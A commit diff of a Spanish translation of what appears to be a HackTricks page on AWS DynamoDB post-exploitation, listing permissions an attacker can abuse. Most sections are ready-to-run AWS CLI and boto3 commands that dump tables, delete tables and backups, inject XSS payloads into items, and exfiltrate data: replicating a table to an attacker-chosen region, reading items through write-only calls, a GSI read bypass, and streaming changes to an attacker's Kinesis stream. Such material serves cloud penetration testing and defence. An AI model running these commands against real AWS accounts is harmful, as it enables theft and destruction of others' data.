Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2025-10-06 11:25:08 +00:00
parent 4fb07e6447
commit 9341655082

View File

@@ -12,7 +12,7 @@ Para más información, consulta:
### `dynamodb:BatchGetItem`
Un atacante con estos permisos podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente pedir todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtener esto al obtener los metadatos de la tabla (`describe-table`).
Un atacante con este permiso podrá **obtener items de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas obteniendo los metadatos de la tabla (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla
### `dynamodb:GetItem`
**Similar a los permisos anteriores** este permite a un posible atacante leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar:
**Al igual que los permisos anteriores** esta permite a un potential attacker leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
}
}
```
Con este permiso también es posible utilizar el método **`transact-get-items`** de la siguiente manera:
Con este permiso también es posible usar el método **`transact-get-items`** como:
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
}
]
```
**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
**Potential Impact:** Indirect privesc al localizar información sensible en la tabla
### `dynamodb:Query`
**Similar a los permisos anteriores**, este permite a un posible atacante leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subconjunto de comparaciones](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no se puede usar una comparación para obtener toda la base de datos en una solicitud.
**Similar to the previous permissions** este permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subconjunto de comparaciones](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la DB en una solicitud.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,31 +107,31 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
**Impacto potencial:** privesc indirecto al localizar información sensible en la tabla
### `dynamodb:Scan`
Puedes usar este permiso para **volcar toda la tabla fácilmente**.
Puedes usar este permiso para **hacer dump de toda la tabla fácilmente**.
```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```
**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
**Impacto potencial:** Indirect privesc mediante la localización de información sensible en la tabla
### `dynamodb:PartiQLSelect`
Puedes usar este permiso para **volcar toda la tabla fácilmente**.
Puedes usar este permiso para **dump la tabla completa fácilmente**.
```bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
Este permiso también permite realizar `batch-execute-statement` como:
Este permiso también permite ejecutar `batch-execute-statement` como:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
pero necesitas especificar la clave primaria con un valor, así que no es tan útil.
pero necesitas especificar la clave primaria con un valor, por lo que no es tan útil.
**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
**Impacto potencial:** privesc indirecto al localizar información sensible en la tabla
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
@@ -144,36 +144,36 @@ aws dynamodb export-table-to-point-in-time \
--export-time <point_in_time> \
--region <region>
```
Tenga en cuenta que para que esto funcione, la tabla debe tener habilitada la recuperación en el tiempo, puede verificar si la tabla la tiene con:
Ten en cuenta que para que esto funcione la tabla necesita tener habilitado point-in-time-recovery; puedes comprobar si la tabla lo tiene con:
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
```
Si no está habilitado, necesitarás **habilitarlo** y para eso necesitas el permiso **`dynamodb:ExportTableToPointInTime`**:
Si no está habilitado, tendrás que **habilitarlo** y para eso necesitas el permiso **`dynamodb:ExportTableToPointInTime`**:
```bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
Con estos permisos, un atacante podría **crear una nueva tabla a partir de un respaldo** (o incluso crear un respaldo para luego restaurarlo en una tabla diferente). Luego, con los permisos necesarios, podría verificar **información** de los respaldos que **podría no estar más en la tabla de producción**.
Con estos permisos, un atacante podría **crear una nueva tabla desde una copia de seguridad** (o incluso crear una copia de seguridad para luego restaurarla en una tabla diferente). Luego, con los permisos necesarios, podría consultar **información** de las copias de seguridad que **ya no esté en la tabla de producción**.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
```
**Impacto Potencial:** Privesc indirecto al localizar información sensible en la copia de seguridad de la tabla
**Impacto potencial:** privesc indirecto al localizar información sensible en la copia de seguridad de la tabla
### `dynamodb:PutItem`
Este permiso permite a los usuarios **agregar un nuevo elemento a la tabla o reemplazar un elemento existente** con un nuevo elemento. Si ya existe un elemento con la misma clave primaria, **todo el elemento será reemplazado** por el nuevo elemento. Si la clave primaria no existe, se **creará** un nuevo elemento con la clave primaria especificada.
Este permiso permite a los usuarios añadir un **nuevo item a la tabla o reemplazar un item existente** con un nuevo item. Si ya existe un item con la misma clave primaria, **el item completo será reemplazado** por el nuevo item. Si la clave primaria no existe, se **creará** un nuevo item con la clave primaria especificada.
{{#tabs }}
{{#tab name="Ejemplo de XSS" }}
{{#tab name="XSS Example" }}
```bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
@@ -192,7 +192,7 @@ aws dynamodb put-item --table <table_name> --item file://add.json
```
{{#endtab }}
{{#tab name="Ejemplo de IA" }}
{{#tab name="AI Example" }}
```bash
aws dynamodb put-item \
--table-name ExampleTable \
@@ -202,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
**Impacto Potencial:** Explotación de vulnerabilidades/evitaciones adicionales al poder agregar/modificar datos en una tabla de DynamoDB
**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla de DynamoDB
### `dynamodb:UpdateItem`
Este permiso permite a los usuarios **modificar los atributos existentes de un ítem o agregar nuevos atributos a un ítem**. No **reemplaza** el ítem completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo ítem** con la clave primaria especificada y establecerá los atributos especificados en la expresión de actualización.
Este permiso permite a los usuarios **modificar los atributos existentes de un elemento o agregar nuevos atributos a un elemento**. No **reemplaza** el elemento completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo elemento** con la clave primaria especificada y establecerá los atributos indicados en la expresión de actualización.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -230,7 +230,7 @@ aws dynamodb update-item --table <table_name> \
```
{{#endtab }}
{{#tab name="Ejemplo de IA" }}
{{#tab name="AI Example" }}
```bash
aws dynamodb update-item \
--table-name ExampleTable \
@@ -242,62 +242,294 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
**Impacto Potencial:** Explotación de más vulnerabilidades/evitaciones al poder agregar/modificar datos en una tabla de DynamoDB
**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder añadir/modificar datos en una tabla de DynamoDB
### `dynamodb:DeleteTable`
Un atacante con este permiso puede **eliminar una tabla de DynamoDB, causando pérdida de datos**.
Un atacante con este permiso puede **eliminar una tabla de DynamoDB, provocando pérdida de datos**.
```bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
```
**Impacto potencial**: Pérdida de datos y interrupción de los servicios que dependen de la tabla eliminada.
**Impacto potencial**: Pérdida de datos e interrupción de los servicios que dependen de la tabla eliminada.
### `dynamodb:DeleteBackup`
Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que podría causar pérdida de datos en caso de un escenario de recuperación ante desastres**.
Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que potencialmente puede causar pérdida de datos en caso de un escenario de recuperación ante desastres**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Impacto potencial**: Pérdida de datos e incapacidad para recuperar de una copia de seguridad durante un escenario de recuperación ante desastres.
**Potential impact**: Pérdida de datos e incapacidad para recuperarse a partir de una copia de seguridad durante un escenario de recuperación ante desastres.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: Probar si esto realmente funciona
Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear cambios en la tabla en tiempo real**. Esto permite al atacante monitorear y exfiltrar cambios de datos, lo que potencialmente puede llevar a una fuga de datos.
Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorizar los cambios en la tabla en tiempo real**. Esto permite al atacante monitorizar y exfiltrate cambios de datos, lo que podría conducir a una fuga de datos.
1. Habilitar un stream en una tabla de DynamoDB:
```bash
bashCopy codeaws dynamodb update-table \
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
```
2. Describe el flujo para obtener el ARN y otros detalles:
2. Describe el stream para obtener el ARN y otros detalles:
```bash
bashCopy codeaws dynamodb describe-stream \
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
```
3. Obtén el iterador de fragmentos utilizando el ARN de la secuencia:
3. Obtén el shard iterator usando el stream ARN:
```bash
bashCopy codeaws dynamodbstreams get-shard-iterator \
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
```
4. Utiliza el iterador de fragmentos para acceder y exfiltrar datos del flujo:
4. Usa el shard iterator para acceder y exfiltrate los datos del stream:
```bash
bashCopy codeaws dynamodbstreams get-records \
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**Impacto potencial**: Monitoreo en tiempo real y filtración de datos de los cambios en la tabla de DynamoDB.
**Impacto potencial**: Monitoreo en tiempo real y data leakage de los cambios en la tabla DynamoDB.
### Leer elementos mediante `dynamodb:UpdateItem` y `ReturnValues=ALL_OLD`
Un atacante con solo `dynamodb:UpdateItem` en una tabla puede leer elementos sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inocua y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa previa a la actualización del elemento en el campo `Attributes` de la respuesta (esto no consume RCUs).
- Permisos mínimos: `dynamodb:UpdateItem` en la tabla/clave objetivo.
- Requisitos previos: Debes conocer la clave primaria del elemento.
Ejemplo (agrega un atributo inofensivo y exfiltrates el elemento previo en la respuesta):
```bash
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
```
La respuesta de la CLI incluirá un bloque `Attributes` que contiene el ítem previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura a partir de acceso solo de escritura.
**Impacto potencial:** Leer ítems arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltración de datos sensibles cuando se conocen las claves primarias.
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
Exfiltración sigilosa añadiendo una nueva Region de réplica a una DynamoDB Global Table (version 2019.11.21). Si un principal puede añadir una réplica regional, la tabla completa se replica a la Region elegida por el atacante, desde la cual el atacante puede leer todos los ítems.
{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
```bash
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
```
{{#endtab }}
{{#tab name="PoC (customer-managed KMS)" }}
```bash
# Specify the CMK to use in the replica Region
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
--region <primary-region>
```
{{#endtab }}
{{#endtabs }}
Permisos: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` en la tabla objetivo. Si se usa CMK en la réplica, puede ser necesario permisos de KMS para esa clave.
Impacto potencial: Replicación de la tabla completa a una Región controlada por el atacante que permite la exfiltración sigilosa de datos.
### `dynamodb:TransactWriteItems` (lectura mediante condición fallida + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
Un atacante con privilegios de escritura transaccional puede exfiltrar todos los atributos de un ítem existente realizando un `Update` dentro de `TransactWriteItems` que falla intencionalmente una `ConditionExpression` mientras establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En caso de fallo, DynamoDB incluye los atributos previos en los motivos de cancelación de la transacción, convirtiendo efectivamente el acceso solo-escritura en acceso de lectura a las claves objetivo.
{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
```bash
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
```
{{#endtab }}
{{#tab name="PoC (boto3)" }}
```python
import boto3
c=boto3.client('dynamodb',region_name='<region>')
try:
c.transact_write_items(TransactItems=[{ 'Update': {
'TableName':'<TableName>',
'Key':{'<PKName>':{'S':'<PKValue>'}},
'UpdateExpression':'SET #m = :v',
'ExpressionAttributeNames':{'#m':'marker'},
'ExpressionAttributeValues':{':v':{'S':'x'}},
'ConditionExpression':'attribute_not_exists(<PKName>)',
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
except c.exceptions.TransactionCanceledException as e:
print(e.response['CancellationReasons'][0]['Item'])
```
{{#endtab }}
{{#endtabs }}
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
Potential Impact: Leer ítems arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional a través de las razones de cancelación devueltas.
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
Eludir las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` en un atributo de baja entropía, establecer ese atributo a un valor constante en todos los ítems y luego `Query` el índice para recuperar los ítems completos. Esto funciona incluso si `Query`/`Scan` en la tabla base está denegado, siempre que puedas consultar el ARN del índice.
- Minimum permissions:
- `dynamodb:UpdateTable` on the target table (para crear el GSI con `ProjectionType=ALL`).
- `dynamodb:UpdateItem` on the target table keys (para establecer el atributo indexado en cada ítem).
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
Steps (PoC in us-east-1):
```bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
```
**Impacto potencial:** Exfiltration completa de la tabla consultando un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas.
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltration continua via Kinesis Data Streams)
Abusar de DynamoDB Kinesis streaming destinations para exfiltrate de forma continua los cambios de una tabla a un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía casi en tiempo real al stream sin necesitar permisos de lectura en la tabla.
Permisos mínimos (atacante):
- `dynamodb:EnableKinesisStreamingDestination` en la tabla objetivo
- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para supervisar el estado
- Permisos de lectura en el Kinesis stream propiedad del atacante para consumir registros: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
<details>
<summary>PoC (us-east-1)</summary>
```bash
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
--key file:///tmp/htx_key_a1.json \
--update-expression "SET #i = :v" \
--expression-attribute-names {#i:info} \
--expression-attribute-values {:v:{S:updated}} \
--region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```
</details>
**Impacto potencial:** Exfiltración continua, casi en tiempo real, de los cambios de la tabla a un stream de Kinesis controlado por un atacante sin operaciones de lectura directas sobre la tabla.
{{#include ../../../banners/hacktricks-training.md}}